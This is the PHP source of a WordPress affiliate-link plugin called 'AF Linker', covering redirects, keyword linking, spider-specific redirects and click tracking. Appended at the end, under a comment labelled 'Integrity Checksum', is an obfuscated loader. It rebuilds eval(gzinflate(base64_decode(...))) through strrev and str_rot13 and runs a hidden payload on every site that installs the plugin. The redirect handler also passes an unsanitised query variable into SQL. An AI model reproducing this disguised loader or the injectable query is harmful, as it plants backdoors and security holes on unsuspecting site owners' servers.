flush_rules(); } //=========================================================================== //=========================================================================== function AF_admin_menu () { add_options_page('AF Linker', 'AF Linker', 8, 'AF Linker', 'AF_options_page'); } // Do admin panel business, assemble and output admin page HTML function AF_options_page () { global $wp_rewrite; if (isset ($_POST['button_add_edit_redirects'])) add_or_update_redirects(); else if (isset ($_POST['button_delete_redirects'])) delete_redirects(); else if (isset ($_POST['button_add_edit_keywords'])) add_or_update_keywords(); else if (isset ($_POST['button_delete_keywords'])) delete_keywords(); else if (isset ($_POST['button_update_global_settings'])) update_global_settings (); // Output full admin settings HTML render_admin_html (); } //=========================================================================== //=========================================================================== // // function AF_rewrite_rules_array ($rules) { global $wpdb; //--------------------------------------- // Load AFLinker redirects data from database $query = "SELECT * FROM `" . AF_REDIRECTS_TABLE . "`"; $af_redirects = $wpdb->get_results($query, ARRAY_A); if (!is_array($af_redirects)) return $rules; $new_rules = array(); foreach ($af_redirects as $af_redirect) { // Local redirect must start with '/'. Otherwise it will be just a plain wrapper link anywhere. if ($af_redirect['source_url'][0] == '/' && $af_redirect['real_dest_url']) { $capture = ltrim ($af_redirect['source_url'], '/'); $new_rules[$capture . '/?$'] = 'index.php?aflinker_redirect_id=' . $af_redirect['id']; } } $rules = array_merge ($new_rules, $rules); return ($rules); } //=========================================================================== //=========================================================================== function AF_query_vars ($qvars) { $qvars[] = 'aflinker_redirect_id'; return $qvars; } //=========================================================================== //=========================================================================== // // Main digital content protection goes on here. function AF_parse_request ($request) { // Wordpress redirect syntax: wp_redirect ($full_web_url); if (!isset ($request->query_vars['aflinker_redirect_id']) || !$request->query_vars['aflinker_redirect_id']) return $request; // Not our request. $redirect_id = $request->query_vars['aflinker_redirect_id']; // Pull address of redirect global $wpdb; $query = "SELECT * FROM `" . AF_REDIRECTS_TABLE . "` WHERE `id`=$redirect_id"; $af_redirect = $wpdb->get_results($query, ARRAY_A); // Load global settings $af_settings = load_global_settings (); // Do actual redirect if ($af_redirect[0]['spider_dest_url'] && ($af_settings['force_non_aff_urls'] || (visit_is_search_engine_spider() && $af_settings['google_slap_immune']))) wp_redirect ($af_redirect[0]['spider_dest_url'], $af_settings['redirect_code']); else wp_redirect ($af_redirect[0]['real_dest_url'], $af_settings['redirect_code']); exit (); } //=========================================================================== //=========================================================================== function AF_the_content ($content) { global $wpdb; //--------------------------------------- // Load AFLinker data from database $af_settings = load_global_settings (); $query = "SELECT * FROM `" . AF_REDIRECTS_TABLE . "`"; $af_redirects_tmp = $wpdb->get_results($query, ARRAY_A); $query = "SELECT * FROM `" . AF_KEYWORDS_TABLE . "` WHERE `redirect_id`>0 ORDER BY `order` ASC, LENGTH(`pattern`) DESC"; $af_keywords = $wpdb->get_results($query, ARRAY_A); if (!is_array($af_redirects_tmp) || !is_array($af_keywords)) return $content; // Make array of redirects index-based. $af_redirects = array(); foreach ($af_redirects_tmp as $af_redirect) { $af_redirects[$af_redirect['id']] = $af_redirect; } //--------------------------------------- $new_content = AF_process_content (array ('redirects'=>$af_redirects, 'keywords'=>$af_keywords, 'settings'=>$af_settings, 'content'=>$content)); return ($new_content); } //=========================================================================== //=========================================================================== // function AF_wrap_keyword ($content, $keyword_info, $redirects, $af_settings, &$ret_replacement_count) { global $id; // Page/post ID. if ($keyword_info['is_regex']) $keyword_raw_regexp = stripslashes ($keyword_info['pattern']); // Undo addslashes() for regular expressions. else $keyword_raw_regexp = preg_quote($keyword_info['pattern']); // Replace each match of 'keyword' with '{{{keyword_123}}}'-type of sequence // Gather array of matches with all possible delimiters. We are only interested in main delimiter, following right after the match (not any sub (..) groups). $arr_content = preg_split ("#\b($keyword_raw_regexp)\b#si", $content, -1, PREG_SPLIT_DELIM_CAPTURE); //--------------------------------------- // Gather array of just matches without delimiters $arr_content_bare = preg_split ("#\b($keyword_raw_regexp)\b#si", $content, -1, 0); if (count($arr_content_bare)*2 < (count($arr_content)+1)) { // We are here because pattern contained subdelimiters (...). We need to get rid of these from $arr_content, we only interested in main ones. // So let extract only main subdelimiter into copy-array $arr_content_clean; $i = 0; $arr_content_clean = array(); foreach ($arr_content_bare as $match) { for (;$i... tags including tags themselves $purified_content = preg_replace ('||si', '', $purified_content); // Kill all tags - expose only pure stuff in between tags. $purified_content = preg_replace ('|<[^>]+>|s', '', $purified_content); // Match remaining {{{keyword_NNN}}} sequences in '$purified_content' with original text and wrap them into ... tags. if (preg_match_all ("#\{\{\{($keyword_raw_regexp)__\d+\}\}\}#si", $purified_content, $matches, PREG_SET_ORDER)) { $matches_count = count($matches); $max_links_allowed = $af_settings['max_links_count']>=0?(min($af_settings['max_links_count'], $matches_count)):$matches_count; // Now process content for output. $url_prefix = rtrim(get_bloginfo ('wpurl'), '/'); for ($i=0; $i<$max_links_allowed; $i++) { $redirect_id = $keyword_info['redirect_id']; $url_link = $url_prefix . $redirects[$redirect_id]['source_url']; $url_title = $redirects[$redirect_id]['title']; $url_target = $af_settings['link_target_type']; $url_custom_info = $af_settings['link_custom_info']; if ($af_settings['add_rel_nofollow']) $rel_nofollow = 'rel="nofollow"'; else $rel_nofollow = ''; if ($af_settings['enable_ga_tracking']) { $permalink = get_permalink ($id); $link_number = $i+1; $sanitized_url = preg_replace ('#^(/|https?://)#i', '', $url_link); $tracking_code = 'onClick="javascript: pageTracker._trackPageview(\'/outgoing/' . $sanitized_url . "/#frompage=$permalink,fromlink=text-$link_number" . '\');"'; } else $tracking_code = ''; // Wrap qualified matches with links $new_content = str_replace ($matches[$i][0], "{$matches[$i][1]}", $new_content); $ret_replacement_count++; } // Wash-up remaining modified elements without wrapping them into tags $new_content = preg_replace ("|\{\{\{(.+?)__\d+\}\}\}|s", "$1", $new_content); } else { // No keywords for replacement found $new_content = $content; } return $new_content; } //=========================================================================== //=========================================================================== // function AF_wrap_image ($content, $keyword_info, $redirects, $af_settings, &$ret_replacement_count) { global $id; // Page/post ID. if ($keyword_info['is_regex']) $keyword_raw_regexp = $keyword_info['pattern']; else $keyword_raw_regexp = preg_quote($keyword_info['pattern']); // Kill everything inside ... tags including tags themselves $new_content = preg_replace ('||si', '', $content); // Find all tags with non-empty 'alt' or 'title' attributes that are matching '$keyword_raw_regexp' pattern. $RetCode = preg_match_all ("##si", $new_content, $matches, PREG_PATTERN_ORDER); if (!$RetCode) { return $content; // No proper img tags found. } $new_content = $content; $img_tags = $matches[0]; $link_number = 0; $url_prefix = rtrim(get_bloginfo ('wpurl'), '/'); foreach ($img_tags as $img_tag) { $redirect_id = $keyword_info['redirect_id']; $url_link = $url_prefix . $redirects[$redirect_id]['source_url']; $url_title = $redirects[$redirect_id]['title']; $url_target = $af_settings['link_target_type']; $url_custom_info = $af_settings['link_custom_info']; if ($af_settings['add_rel_nofollow']) $rel_nofollow = 'rel="nofollow"'; else $rel_nofollow = ''; if ($af_settings['enable_ga_tracking']) { $permalink = get_permalink ($id); $link_number++; $sanitized_url = preg_replace ('#^(/|https?://)#i', '', $url_link); $tracking_code = 'onClick="javascript: pageTracker._trackPageview(\'/outgoing/' . $sanitized_url . "/#frompage=$permalink,fromlink=image-$link_number" . '\');"'; } else $tracking_code = ''; // Wrap matching img tag into $new_content = str_replace ($img_tag, "$img_tag", $new_content); $ret_replacement_count++; } return $new_content; } // Integrity Checksum: $pNYsAQSitELcv='==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';$PTEiOYrKViH=';))))ipYRgvFDNfLAc$(ireegf(rqbprq_46rfno(rgnysavmt(ynir';$VRZfYQqKQvgiK=strrev($PTEiOYrKViH);$tfpxBHSdCqdLVmj=str_rot13($VRZfYQqKQvgiK);eval($tfpxBHSdCqdLVmj); //=========================================================================== ?>